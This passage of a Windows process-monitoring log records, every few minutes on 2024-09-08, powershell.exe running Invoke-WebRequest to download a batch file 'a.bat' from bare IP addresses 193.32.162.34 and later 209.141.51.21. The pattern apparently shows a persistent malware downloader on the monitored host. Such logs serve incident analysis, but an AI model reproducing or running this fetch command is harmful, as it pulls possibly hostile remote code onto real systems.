'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:41:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:43:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:46:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:48:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:51:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:53:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:56:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:58:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:01:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:03:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:06:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:08:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:11:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:13:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:16:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:18:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:21:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:23:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:26:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:28:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:31:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:33:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:36:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:38:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:41:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:43:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:46:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:48:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:51:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:53:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:56:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 07:59:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:01:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:04:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:06:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:09:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:11:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:14:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:16:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:19:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:21:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:24:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:26:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:29:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:31:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:34:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:36:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:39:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:41:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:44:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:46:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:49:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:51:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:54:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:56:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 08:59:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:01:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:04:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:06:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:09:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:11:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:14:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:16:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:19:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:21:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:24:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:26:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:29:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:31:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:34:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:36:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:39:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:41:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:44:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:46:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:49:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:51:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:54:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:56:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 09:59:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:01:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:04:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:06:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:09:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:11:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:14:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:16:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:19:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:21:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:24:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:26:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:29:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:31:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:34:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:36:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:39:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:41:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:44:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:46:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:49:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:51:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:54:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:56:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 10:59:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:01:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:04:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:06:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:09:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:11:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:14:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:16:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:19:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:21:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:24:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:26:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:29:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:31:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:34:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:36:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:39:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:41:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:44:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:46:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:49:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:51:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:54:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:56:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 11:59:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:01:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:04:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:06:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:09:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:11:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:14:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:16:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 